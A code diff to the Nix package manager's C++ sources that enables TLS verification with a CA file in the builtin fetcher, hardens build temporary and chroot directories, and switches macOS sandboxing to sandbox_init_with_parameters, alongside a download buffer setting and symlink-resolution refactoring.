different uid and/or in a sandbox). */
|
||||
std::string netrcData;
|
||||
try {
|
||||
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl")
|
||||
netrcData = readFile(settings.netrcFile);
|
||||
} catch (SystemError &) { }
|
||||
std::string caFileData;
|
||||
if (drv->isBuiltin() && drv->builder == "builtin:fetchurl") {
|
||||
try {
|
||||
netrcData = readFile(settings.netrcFile);
|
||||
} catch (SystemError &) { }
|
||||
|
||||
try {
|
||||
caFileData = readFile(settings.caFile);
|
||||
} catch (SystemError &) { }
|
||||
}
|
||||
|
||||
#if __linux__
|
||||
if (useChroot) {
|
||||
@@ -1975,153 +2017,129 @@ void LocalDerivationGoal::runChild()
|
||||
throw SysError("setuid failed");
|
||||
}
|
||||
|
||||
/* Fill in the arguments. */
|
||||
Strings args;
|
||||
|
||||
std::string builder = "invalid";
|
||||
|
||||
if (drv->isBuiltin()) {
|
||||
;
|
||||
}
|
||||
#if __APPLE__
|
||||
else {
|
||||
/* This has to appear before import statements. */
|
||||
std::string sandboxProfile = "(version 1)\n";
|
||||
/* This has to appear before import statements. */
|
||||
std::string sandboxProfile = "(version 1)\n";
|
||||
|
||||
if (useChroot) {
|
||||
if (useChroot) {
|
||||
|
||||
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
|
||||
PathSet ancestry;
|
||||
/* Lots and lots and lots of file functions freak out if they can't stat their full ancestry */
|
||||
PathSet ancestry;
|
||||
|
||||
/* We build the ancestry before adding all inputPaths to the store because we know they'll
|
||||
all have the same parents (the store), and there might be lots of inputs. This isn't
|
||||
particularly efficient... I doubt it'll be a bottleneck in practice */
|
||||
for (auto & i : pathsInChroot) {
|
||||
Path cur = i.first;
|
||||
while (cur.compare("/") != 0) {
|
||||
cur = dirOf(cur);
|
||||
ancestry.insert(cur);
|
||||
}
|
||||
}
|
||||
|
||||
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
|
||||
path component this time, since it's typically /nix/store and we care about that. */
|
||||
Path cur = worker.store.storeDir;
|
||||
/* We build the ancestry before adding all inputPaths to the store because we know they'll
|
||||
all have the same parents (the store), and there might be lots of inputs. This isn't
|
||||
particularly efficient... I doubt it'll be a bottleneck in practice */
|
||||
for (auto & i : pathsInChroot) {
|
||||
Path cur = i.first;
|
||||
while (cur.compare("/") != 0) {
|
||||
ancestry.insert(cur);
|
||||
cur = dirOf(cur);
|
||||
ancestry.insert(cur);
|
||||
}
|
||||
}
|
||||
|
||||
/* Add all our input paths to the chroot */
|
||||
for (auto & i : inputPaths) {
|
||||
auto p = worker.store.printStorePath(i);
|
||||
pathsInChroot[p] = p;
|
||||
}
|
||||
/* And we want the store in there regardless of how empty pathsInChroot. We include the innermost
|
||||
path component this time, since it's typically /nix/store and we care about that. */
|
||||
Path cur = worker.store.storeDir;
|
||||
while (cur.compare("/") != 0) {
|
||||
ancestry.insert(cur);
|
||||
cur = dirOf(cur);
|
||||
}
|
||||
|
||||
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
|
||||
if (settings.darwinLogSandboxViolations) {
|
||||
sandboxProfile += "(deny default)\n";
|
||||
} else {
|
||||
sandboxProfile += "(deny default (with no-log))\n";
|
||||
}
|
||||
/* Add all our input paths to the chroot */
|
||||
for (auto & i : inputPaths) {
|
||||
auto p = worker.store.printStorePath(i);
|
||||
pathsInChroot[p] = p;
|
||||
}
|
||||
|
||||
sandboxProfile +=
|
||||
#include "sandbox-defaults.sb"
|
||||
;
|
||||
|
||||
if (!derivationType->isSandboxed())
|
||||
sandboxProfile +=
|
||||
#include "sandbox-network.sb"
|
||||
;
|
||||
|
||||
/* Add the output paths we'll use at build-time to the chroot */
|
||||
sandboxProfile += "(allow file-read* file-write* process-exec\n";
|
||||
for (auto & [_, path] : scratchOutputs)
|
||||
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
|
||||
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
/* Our inputs (transitive dependencies and any impurities computed above)
|
||||
|
||||
without file-write* allowed, access() incorrectly returns EPERM
|
||||
*/
|
||||
sandboxProfile += "(allow file-read* file-write* process-exec\n";
|
||||
for (auto & i : pathsInChroot) {
|
||||
if (i.first != i.second.source)
|
||||
throw Error(
|
||||
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
|
||||
i.first, i.second.source);
|
||||
|
||||
std::string path = i.first;
|
||||
struct stat st;
|
||||
if (lstat(path.c_str(), &st)) {
|
||||
if (i.second.optional && errno == ENOENT)
|
||||
continue;
|
||||
throw SysError("getting attributes of path '%s", path);
|
||||
}
|
||||
if (S_ISDIR(st.st_mode))
|
||||
sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
|
||||
else
|
||||
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
|
||||
}
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
|
||||
sandboxProfile += "(allow file-read*\n";
|
||||
for (auto & i : ancestry) {
|
||||
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
|
||||
}
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
sandboxProfile += additionalSandboxProfile;
|
||||
} else
|
||||
sandboxProfile +=
|
||||
#include "sandbox-minimal.sb"
|
||||
;
|
||||
|
||||
debug("Generated sandbox profile:");
|
||||
debug(sandboxProfile);
|
||||
|
||||
Path sandboxFile = tmpDir + "/.sandbox.sb";
|
||||
|
||||
writeFile(sandboxFile, sandboxProfile);
|
||||
|
||||
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
|
||||
|
||||
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
|
||||
to find temporary directories, so we want to open up a broader place for them to dump their files, if needed. */
|
||||
Path globalTmpDir = canonPath(getEnvNonEmpty("TMPDIR").value_or("/tmp"), true);
|
||||
|
||||
/* They don't like trailing slashes on subpath directives */
|
||||
if (globalTmpDir.back() == '/') globalTmpDir.pop_back();
|
||||
|
||||
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
|
||||
builder = "/usr/bin/sandbox-exec";
|
||||
args.push_back("sandbox-exec");
|
||||
args.push_back("-f");
|
||||
args.push_back(sandboxFile);
|
||||
args.push_back("-D");
|
||||
args.push_back("_GLOBAL_TMP_DIR=" + globalTmpDir);
|
||||
if (allowLocalNetworking) {
|
||||
args.push_back("-D");
|
||||
args.push_back(std::string("_ALLOW_LOCAL_NETWORKING=1"));
|
||||
}
|
||||
args.push_back(drv->builder);
|
||||
/* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */
|
||||
if (settings.darwinLogSandboxViolations) {
|
||||
sandboxProfile += "(deny default)\n";
|
||||
} else {
|
||||
builder = drv->builder;
|
||||
args.push_back(std::string(baseNameOf(drv->builder)));
|
||||
sandboxProfile += "(deny default (with no-log))\n";
|
||||
}
|
||||
|
||||
sandboxProfile +=
|
||||
#include "sandbox-defaults.sb"
|
||||
;
|
||||
|
||||
if (!derivationType->isSandboxed())
|
||||
sandboxProfile +=
|
||||
#include "sandbox-network.sb"
|
||||
;
|
||||
|
||||
/* Add the output paths we'll use at build-time to the chroot */
|
||||
sandboxProfile += "(allow file-read* file-write* process-exec\n";
|
||||
for (auto & [_, path] : scratchOutputs)
|
||||
sandboxProfile += fmt("\t(subpath \"%s\")\n", worker.store.printStorePath(path));
|
||||
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
/* Our inputs (transitive dependencies and any impurities computed above)
|
||||
|
||||
without file-write* allowed, access() incorrectly returns EPERM
|
||||
*/
|
||||
sandboxProfile += "(allow file-read* file-write* process-exec\n";
|
||||
for (auto & i : pathsInChroot) {
|
||||
if (i.first != i.second.source)
|
||||
throw Error(
|
||||
"can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin",
|
||||
i.first, i.second.source);
|
||||
|
||||
std::string path = i.first;
|
||||
struct stat st;
|
||||
if (lstat(path.c_str(), &st)) {
|
||||
if (i.second.optional && errno == ENOENT)
|
||||
continue;
|
||||
throw SysError("getting attributes of path '%s", path);
|
||||
}
|
||||
if (S_ISDIR(st.st_mode))
|
||||
sandboxProfile += fmt("\t(subpath \"%s\")\n", path);
|
||||
else
|
||||
sandboxProfile += fmt("\t(literal \"%s\")\n", path);
|
||||
}
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
/* Allow file-read* on full directory hierarchy to self. Allows realpath() */
|
||||
sandboxProfile += "(allow file-read*\n";
|
||||
for (auto & i : ancestry) {
|
||||
sandboxProfile += fmt("\t(literal \"%s\")\n", i);
|
||||
}
|
||||
sandboxProfile += ")\n";
|
||||
|
||||
sandboxProfile += additionalSandboxProfile;
|
||||
} else
|
||||
sandboxProfile +=
|
||||
#include "sandbox-minimal.sb"
|
||||
;
|
||||
|
||||
debug("Generated sandbox profile:");
|
||||
debug(sandboxProfile);
|
||||
|
||||
bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking");
|
||||
|
||||
/* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms
|
||||
to find temporary directories, so we want to open up a broader place for them to dump their files, if needed. */
|
||||
Path globalTmpDir = canonPath(getEnvNonEmpty("TMPDIR").value_or("/tmp"), true);
|
||||
|
||||
/* They don't like trailing slashes on subpath directives */
|
||||
if (globalTmpDir.back() == '/') globalTmpDir.pop_back();
|
||||
|
||||
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
|
||||
Strings sandboxArgs;
|
||||
sandboxArgs.push_back("_GLOBAL_TMP_DIR");
|
||||
sandboxArgs.push_back(globalTmpDir);
|
||||
if (allowLocalNetworking) {
|
||||
sandboxArgs.push_back("_ALLOW_LOCAL_NETWORKING");
|
||||
sandboxArgs.push_back("1");
|
||||
}
|
||||
char * sandbox_errbuf = nullptr;
|
||||
if (sandbox_init_with_parameters(sandboxProfile.c_str(), 0, stringsToCharPtrs(sandboxArgs).data(), &sandbox_errbuf)) {
|
||||
writeFull(STDERR_FILENO, fmt("failed to configure sandbox: %s\n", sandbox_errbuf ? sandbox_errbuf : "(null)"));
|
||||
_exit(1);
|
||||
}
|
||||
}
|
||||
#else
|
||||
else {
|
||||
builder = drv->builder;
|
||||
args.push_back(std::string(baseNameOf(drv->builder)));
|
||||
}
|
||||
#endif
|
||||
|
||||
for (auto & i : drv->args)
|
||||
args.push_back(rewriteStrings(i, inputRewrites));
|
||||
|
||||
/* Indicate that we managed to set up the build environment. */
|
||||
writeFull(STDERR_FILENO, std::string("\2\n"));
|
||||
|
||||
@@ -2138,7 +2156,7 @@ void LocalDerivationGoal::runChild()
|
||||
worker.store.printStorePath(scratchOutputs.at(e.first)));
|
||||
|
||||
if (drv->builder == "builtin:fetchurl")
|
||||
builtinFetchurl(*drv, outputs, netrcData);
|
||||
builtinFetchurl(*drv, outputs, netrcData, caFileData);
|
||||
else if (drv->builder == "builtin:buildenv")
|
||||
builtinBuildenv(*drv, outputs);
|
||||
else if (drv->builder == "builtin:unpack-channel")
|
||||
@@ -2152,6 +2170,14 @@ void LocalDerivationGoal::runChild()
|
||||
}
|
||||
}
|
||||
|
||||
// Now builder is not builtin
|
||||
|
||||
Strings args;
|
||||
args.push_back(std::string(baseNameOf(drv->builder)));
|
||||
|
||||
for (auto & i : drv->args)
|
||||
args.push_back(rewriteStrings(i, inputRewrites));
|
||||
|
||||
#if __APPLE__
|
||||
posix_spawnattr_t attrp;
|
||||
|
||||
@@ -2173,9 +2199,9 @@ void LocalDerivationGoal::runChild()
|
||||
posix_spawnattr_setbinpref_np(&attrp, 1, &cpu, NULL);
|
||||
}
|
||||
|
||||
posix_spawn(NULL, builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
|
||||
posix_spawn(NULL, drv->builder.c_str(), NULL, &attrp, stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
|
||||
#else
|
||||
execve(builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
|
||||
execve(drv->builder.c_str(), stringsToCharPtrs(args).data(), stringsToCharPtrs(envStrs).data());
|
||||
#endif
|
||||
|
||||
throw SysError("executing '%1%'", drv->builder);
|
||||
@@ -2926,15 +2952,17 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
|
||||
|
||||
void LocalDerivationGoal::deleteTmpDir(bool force)
|
||||
{
|
||||
if (tmpDir != "") {
|
||||
if (topTmpDir != "") {
|
||||
/* Don't keep temporary directories for builtins because they
|
||||
might have privileged stuff (like a copy of netrc). */
|
||||
if (settings.keepFailed && !force && !drv->isBuiltin()) {
|
||||
printError("note: keeping build directory '%s'", tmpDir);
|
||||
chmod(topTmpDir.c_str(), 0755);
|
||||
chmod(tmpDir.c_str(), 0755);
|
||||
}
|
||||
else
|
||||
deletePath(tmpDir);
|
||||
deletePath(topTmpDir);
|
||||
topTmpDir = "";
|
||||
tmpDir = "";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
|
||||
std::optional<Path> cgroup;
|
||||
|
||||
/**
|
||||
* The temporary directory.
|
||||
* The temporary directory used for the build.
|
||||
*/
|
||||
Path tmpDir;
|
||||
|
||||
/**
|
||||
* The top-level temporary directory. `tmpDir` is either equal to
|
||||
* or a child of this directory.
|
||||
*/
|
||||
Path topTmpDir;
|
||||
|
||||
/**
|
||||
* The path of the temporary directory in the sandbox.
|
||||
*/
|
||||
@@ -65,6 +71,16 @@ struct LocalDerivationGoal : public DerivationGoal
|
||||
*/
|
||||
bool useChroot = false;
|
||||
|
||||
/**
|
||||
* The parent directory of `chrootRootDir`. It has permission 700
|
||||
* and is owned by root to ensure other users cannot mess with
|
||||
* `chrootRootDir`.
|
||||
*/
|
||||
Path chrootParentDir;
|
||||
|
||||
/**
|
||||
* The root of the chroot environment.
|
||||
*/
|
||||
Path chrootRootDir;
|
||||
|
||||
/**
|
||||
|
||||
@@ -46,6 +46,7 @@ R""(
|
||||
(if (param "_ALLOW_LOCAL_NETWORKING")
|
||||
(begin
|
||||
(allow network* (remote ip "localhost:*"))
|
||||
(allow network-inbound (local ip "*:*")) ; required to bind and listen
|
||||
|
||||
; Allow access to /etc/resolv.conf (which is a symlink to
|
||||
; /private/var/run/resolv.conf).
|
||||
|
||||
@@ -9,7 +9,8 @@ namespace nix {
|
||||
void builtinFetchurl(
|
||||
const BasicDerivation & drv,
|
||||
const std::map<std::string, Path> & outputs,
|
||||
const std::string & netrcData);
|
||||
const std::string & netrcData,
|
||||
const std::string & caFileData);
|
||||
|
||||
void builtinUnpackChannel(
|
||||
const BasicDerivation & drv,
|
||||
|
||||
@@ -9,7 +9,8 @@ namespace nix {
|
||||
void builtinFetchurl(
|
||||
const BasicDerivation & drv,
|
||||
const std::map<std::string, Path> & outputs,
|
||||
const std::string & netrcData)
|
||||
const std::string & netrcData,
|
||||
const std::string & caFileData)
|
||||
{
|
||||
/* Make the host's netrc data available. Too bad curl requires
|
||||
this to be stored in a file. It would be nice if we could just
|
||||
@@ -19,6 +20,9 @@ void builtinFetchurl(
|
||||
writeFile(settings.netrcFile, netrcData, 0600);
|
||||
}
|
||||
|
||||
settings.caFile = "ca-certificates.crt";
|
||||
writeFile(settings.caFile, caFileData, 0600);
|
||||
|
||||
auto out = get(drv.outputs, "out");
|
||||
if (!out)
|
||||
throw Error("'builtin:fetchurl' requires an 'out' output");
|
||||
@@ -38,10 +42,7 @@ void builtinFetchurl(
|
||||
|
||||
auto source = sinkToSource([&](Sink & sink) {
|
||||
|
||||
/* No need to do TLS verification, because we check the hash of
|
||||
the result anyway. */
|
||||
FileTransferRequest request(url);
|
||||
request.verifyTLS = false;
|
||||
request.decompress = false;
|
||||
|
||||
auto decompressor = makeDecompressionSink(
|
||||
|
||||
@@ -67,7 +67,10 @@ struct curlFileTransfer : public FileTransfer
|
||||
|
||||
curl_off_t writtenToSink = 0;
|
||||
|
||||
std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now();
|
||||
|
||||
inline static const std::set<long> successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */};
|
||||
|
||||
/* Get the HTTP status code, or 0 for other protocols. */
|
||||
long getHTTPStatus()
|
||||
{
|
||||
@@ -369,10 +372,14 @@ struct curlFileTransfer : public FileTransfer
|
||||
|
||||
void finish(CURLcode code)
|
||||
{
|
||||
auto finishTime = std::chrono::steady_clock::now();
|
||||
|
||||
auto httpStatus = getHTTPStatus();
|
||||
|
||||
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes",
|
||||
request.verb(), request.uri, code, httpStatus, result.bodySize);
|
||||
debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s",
|
||||
request.verb(), request.uri, code, httpStatus, result.bodySize,
|
||||
std::chrono::duration_cast<std::chrono::milliseconds>(finishTime - startTime).count() / 1000.0f
|
||||
);
|
||||
|
||||
appendCurrentUrl();
|
||||
|
||||
@@ -828,8 +835,10 @@ void FileTransfer::download(
|
||||
buffer). We don't wait forever to prevent stalling the
|
||||
download thread. (Hopefully sleeping will throttle the
|
||||
sender.) */
|
||||
if (state->data.size() > 1024 * 1024) {
|
||||
if (state->data.size() > fileTransferSettings.downloadBufferSize) {
|
||||
debug("download buffer is full; going to sleep");
|
||||
static bool haveWarned = false;
|
||||
warnOnce(haveWarned, "download buffer is full; consider increasing the 'download-buffer-size' setting");
|
||||
state.wait_for(state->request, std::chrono::seconds(10));
|
||||
}
|
||||
|
||||
|
||||
@@ -45,6 +45,12 @@ struct FileTransferSettings : Config
|
||||
|
||||
Setting<unsigned int> tries{this, 5, "download-attempts",
|
||||
"How often Nix will attempt to download a file before giving up."};
|
||||
|
||||
Setting<size_t> downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size",
|
||||
R"(
|
||||
The size of Nix's internal download buffer during `curl` transfers. If data is
|
||||
not processed quickly enough to exceed the size of this buffer, downloads may stall.
|
||||
)"};
|
||||
};
|
||||
|
||||
extern FileTransferSettings fileTransferSettings;
|
||||
|
||||
@@ -33,6 +33,10 @@ struct LocalStoreAccessor : PosixSourceAccessor
|
||||
|
||||
std::optional<Stat> maybeLstat(const CanonPath & path) override
|
||||
{
|
||||
/* Handle the case where `path` is (a parent of) the store. */
|
||||
if (isDirOrInDir(store->storeDir, path.abs()))
|
||||
return Stat{ .type = tDirectory };
|
||||
|
||||
return PosixSourceAccessor::maybeLstat(toRealPath(path));
|
||||
}
|
||||
|
||||
|
||||
@@ -186,7 +186,7 @@ std::optional<nlohmann::json> ParsedDerivation::prepareStructuredAttrs(Store & s
|
||||
for (auto i = e->begin(); i != e->end(); ++i) {
|
||||
StorePathSet storePaths;
|
||||
for (auto & p : *i)
|
||||
storePaths.insert(store.parseStorePath(p.get<std::string>()));
|
||||
storePaths.insert(store.toStorePath(p.get<std::string>()).first);
|
||||
json[i.key()] = pathInfoToJSON(store,
|
||||
store.exportReferences(storePaths, inputPaths));
|
||||
}
|
||||
|
||||
@@ -421,6 +421,11 @@ void deletePath(const Path & path)
|
||||
deletePath(path, dummy);
|
||||
}
|
||||
|
||||
void createDir(const Path & path, mode_t mode)
|
||||
{
|
||||
if (mkdir(path.c_str(), mode) == -1)
|
||||
throw SysError("creating directory '%1%'", path);
|
||||
}
|
||||
|
||||
Paths createDirs(const Path & path)
|
||||
{
|
||||
|
||||
@@ -165,6 +165,11 @@ inline Paths createDirs(PathView path)
|
||||
return createDirs(Path(path));
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a single directory.
|
||||
*/
|
||||
void createDir(const Path & path, mode_t mode = 0755);
|
||||
|
||||
/**
|
||||
* Create a symlink.
|
||||
*/
|
||||
|
||||
@@ -144,6 +144,10 @@ public:
|
||||
: HintFmt("%s", Uncolored(literal))
|
||||
{ }
|
||||
|
||||
static HintFmt fromFormatString(const std::string & format) {
|
||||
return HintFmt(boost::format(format));
|
||||
}
|
||||
|
||||
/**
|
||||
* Interpolate the given arguments into the format string.
|
||||
*/
|
||||
|
||||
@@ -22,7 +22,7 @@ Key::Key(std::string_view s)
|
||||
key = ss.payload;
|
||||
|
||||
if (name == "" || key == "")
|
||||
throw Error("secret key is corrupt");
|
||||
throw Error("key is corrupt");
|
||||
|
||||
key = base64Decode(key);
|
||||
}
|
||||
|
||||
@@ -39,9 +39,9 @@ void SourceAccessor::readFile(
|
||||
}
|
||||
|
||||
Hash SourceAccessor::hashPath(
|
||||
const CanonPath & path,
|
||||
PathFilter & filter,
|
||||
HashAlgorithm ha)
|
||||
const CanonPath & path,
|
||||
PathFilter & filter,
|
||||
HashAlgorithm ha)
|
||||
{
|
||||
HashSink sink(ha);
|
||||
dumpPath(path, sink, filter);
|
||||
@@ -67,4 +67,42 @@ std::string SourceAccessor::showPath(const CanonPath & path)
|
||||
return displayPrefix + path.abs() + displaySuffix;
|
||||
}
|
||||
|
||||
CanonPath SourceAccessor::resolveSymlinks(
|
||||
const CanonPath & path,
|
||||
SymlinkResolution mode)
|
||||
{
|
||||
auto res = CanonPath::root;
|
||||
|
||||
int linksAllowed = 1024;
|
||||
|
||||
std::list<std::string> todo;
|
||||
for (auto & c : path)
|
||||
todo.push_back(std::string(c));
|
||||
|
||||
while (!todo.empty()) {
|
||||
auto c = *todo.begin();
|
||||
todo.pop_front();
|
||||
if (c == "" || c == ".")
|
||||
;
|
||||
else if (c == "..")
|
||||
res.pop();
|
||||
else {
|
||||
res.push(c);
|
||||
if (mode == SymlinkResolution::Full || !todo.empty()) {
|
||||
if (auto st = maybeLstat(res); st && st->type == SourceAccessor::tSymlink) {
|
||||
if (!linksAllowed--)
|
||||
throw Error("infinite symlink recursion in path '%s'", showPath(path));
|
||||
auto target = readLink(res);
|
||||
res.pop();
|
||||
if (hasPrefix(target, "/"))
|
||||
res = CanonPath::root;
|
||||
todo.splice(todo.begin(), tokenizeString<std::list<std::string>>(target, "/"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -9,6 +9,26 @@ namespace nix {
|
||||
|
||||
struct Sink;
|
||||
|
||||
/**
|
||||
* Note there is a decent chance this type soon goes away because the problem is solved another way.
|
||||
* See the discussion in https://github.com/NixOS/nix/pull/9985.
|
||||
*/
|
||||
enum class SymlinkResolution {
|
||||
/**
|
||||
* Resolve symlinks in the ancestors only.
|
||||
*
|
||||
* Only the last component of the result is possibly a symlink.
|
||||
*/
|
||||
Ancestors,
|
||||
|
||||
/**
|
||||
* Resolve symlinks fully, realpath(3)-style.
|
||||
*
|
||||
* No component of the result will be a symlink.
|
||||
*/
|
||||
Full,
|
||||
};
|
||||
|
||||
/**
|
||||
* A read-only filesystem abstraction. This is used by the Nix
|
||||
* evaluator and elsewhere for accessing sources in various
|
||||
@@ -112,9 +132,9 @@ struct SourceAccessor
|
||||
PathFilter & filter = defaultPathFilter);
|
||||
|
||||
Hash hashPath(
|
||||
const CanonPath & path,
|
||||
PathFilter & filter = defaultPathFilter,
|
||||
HashAlgorithm ha = HashAlgorithm::SHA256);
|
||||
const CanonPath & path,
|
||||
PathFilter & filter = defaultPathFilter,
|
||||
HashAlgorithm ha = HashAlgorithm::SHA256);
|
||||
|
||||
/**
|
||||
* Return a corresponding path in the root filesystem, if
|
||||
@@ -137,6 +157,17 @@ struct SourceAccessor
|
||||
void setPathDisplay(std::string displayPrefix, std::string displaySuffix = "");
|
||||
|
||||
virtual std::string showPath(const CanonPath & path);
|
||||
|
||||
/**
|
||||
* Resolve any symlinks in `path` according to the given
|
||||
* resolution mode.
|
||||
*
|
||||
* @param mode might only be a temporary solution for this.
|
||||
* See the discussion in https://github.com/NixOS/nix/pull/9985.
|
||||
*/
|
||||
CanonPath resolveSymlinks(
|
||||
const CanonPath & path,
|
||||
SymlinkResolution mode = SymlinkResolution::Full);
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
@@ -62,44 +62,6 @@ bool SourcePath::operator<(const SourcePath & x) const
|
||||
return std::tie(*accessor, path) < std::tie(*x.accessor, x.path);
|
||||
}
|
||||
|
||||
SourcePath SourcePath::resolveSymlinks(SymlinkResolution mode) const
|
||||
{
|
||||
auto res = SourcePath(accessor);
|
||||
|
||||
int linksAllowed = 1024;
|
||||
|
||||
std::list<std::string> todo;
|
||||
for (auto & c : path)
|
||||
todo.push_back(std::string(c));
|
||||
|
||||
bool resolve_last = mode == SymlinkResolution::Full;
|
||||
|
||||
while (!todo.empty()) {
|
||||
auto c = *todo.begin();
|
||||
todo.pop_front();
|
||||
if (c == "" || c == ".")
|
||||
;
|
||||
else if (c == "..")
|
||||
res.path.pop();
|
||||
else {
|
||||
res.path.push(c);
|
||||
if (resolve_last || !todo.empty()) {
|
||||
if (auto st = res.maybeLstat(); st && st->type == InputAccessor::tSymlink) {
|
||||
if (!linksAllowed--)
|
||||
throw Error("infinite symlink recursion in path '%s'", path);
|
||||
auto target = res.readLink();
|
||||
res.path.pop();
|
||||
if (hasPrefix(target, "/"))
|
||||
res.path = CanonPath::root;
|
||||
todo.splice(todo.begin(), tokenizeString<std::list<std::string>>(target, "/"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
std::ostream & operator<<(std::ostream & str, const SourcePath & path)
|
||||
{
|
||||
str << path.to_string();
|
||||
|
||||
@@ -11,26 +11,6 @@
|
||||
|
||||
namespace nix {
|
||||
|
||||
/**
|
||||
* Note there is a decent chance this type soon goes away because the problem is solved another way.
|
||||
* See the discussion in https://github.com/NixOS/nix/pull/9985.
|
||||
*/
|
||||
enum class SymlinkResolution {
|
||||
/**
|
||||
* Resolve symlinks in the ancestors only.
|
||||
*
|
||||
* Only the last component of the result is possibly a symlink.
|
||||
*/
|
||||
Ancestors,
|
||||
|
||||
/**
|
||||
* Resolve symlinks fully, realpath(3)-style.
|
||||
*
|
||||
* No component of the result will be a symlink.
|
||||
*/
|
||||
Full,
|
||||
};
|
||||
|
||||
/**
|
||||
* An abstraction for accessing source files during
|
||||
* evaluation. Currently, it's just a wrapper around `CanonPath` that
|
||||
@@ -123,14 +103,13 @@ struct SourcePath
|
||||
bool operator<(const SourcePath & x) const;
|
||||
|
||||
/**
|
||||
* Resolve any symlinks in this `SourcePath` according to the
|
||||
* given resolution mode.
|
||||
*
|
||||
* @param mode might only be a temporary solution for this.
|
||||
* See the discussion in https://github.com/NixOS/nix/pull/9985.
|
||||
* Convenience wrapper around `SourceAccessor::resolveSymlinks()`.
|
||||
*/
|
||||
SourcePath resolveSymlinks(
|
||||
SymlinkResolution mode = SymlinkResolution::Full) const;
|
||||
SymlinkResolution mode = SymlinkResolution::Full) const
|
||||
{
|
||||
return {accessor, accessor->resolveSymlinks(path, mode)};
|
||||
}
|
||||
};
|
||||
|
||||
std::ostream & operator << (std::ostream & str, const SourcePath & path);
|
||||
|
||||
@@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url)
|
||||
std::regex scpRegex("([^/]*)@(.*):(.*)");
|
||||
if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex))
|
||||
return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3");
|
||||
else {
|
||||
if (url.find("://") == std::string::npos) {
|
||||
return (ParsedURL {
|
||||
.scheme = "file",
|
||||
.authority = "",
|
||||
.path = url
|
||||
}).to_string();
|
||||
} else
|
||||
return url;
|
||||
if (hasPrefix(url, "file:"))
|
||||
return url;
|
||||
if (url.find("://") == std::string::npos) {
|
||||
return (ParsedURL {
|
||||
.scheme = "file",
|
||||
.authority = "",
|
||||
.path = url
|
||||
}).to_string();
|
||||
}
|
||||
return url;
|
||||
}
|
||||
|
||||
// https://www.rfc-editor.org/rfc/rfc3986#section-3.1
|
||||
|
||||
@@ -134,7 +134,7 @@ static void main_nix_build(int argc, char * * argv)
|
||||
script = argv[1];
|
||||
try {
|
||||
auto lines = tokenizeString<Strings>(readFile(script), "\n");
|
||||
if (std::regex_search(lines.front(), std::regex("^#!"))) {
|
||||
if (!lines.empty() && std::regex_search(lines.front(), std::regex("^#!"))) {
|
||||
lines.pop_front();
|
||||
inShebang = true;
|
||||
for (int i = 2; i < argc; ++i)
|
||||
|
||||
@@ -108,7 +108,7 @@ static void getAllExprs(EvalState & state,
|
||||
const SourcePath & path, StringSet & seen, BindingsBuilder & attrs)
|
||||
{
|
||||
StringSet namesSorted;
|
||||
for (auto & [name, _] : path.readDirectory()) namesSorted.insert(name);
|
||||
for (auto & [name, _] : path.resolveSymlinks().readDirectory()) namesSorted.insert(name);
|
||||
|
||||
for (auto & i : namesSorted) {
|
||||
/* Ignore the manifest.nix used by profiles. This is
|
||||
|
||||
@@ -202,7 +202,11 @@ static PeerInfo getPeerInfo(int remote)
|
||||
|
||||
#if defined(SO_PEERCRED)
|
||||
|
||||
ucred cred;
|
||||
# if defined(__OpenBSD__)
|
||||
struct sockpeercred cred;
|
||||
# else
|
||||
ucred cred;
|
||||
# endif
|
||||
socklen_t credLen = sizeof(cred);
|
||||
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
|
||||
throw SysError("getting peer credentials");
|
||||
@@ -210,9 +214,9 @@ static PeerInfo getPeerInfo(int remote)
|
||||
|
||||
#elif defined(LOCAL_PEERCRED)
|
||||
|
||||
#if !defined(SOL_LOCAL)
|
||||
#define SOL_LOCAL 0
|
||||
#endif
|
||||
# if !defined(SOL_LOCAL)
|
||||
# define SOL_LOCAL 0
|
||||
# endif
|
||||
|
||||
xucred cred;
|
||||
socklen_t credLen = sizeof(cred);
|
||||
|
||||
@@ -43,10 +43,16 @@ static json pathInfoToJSON(
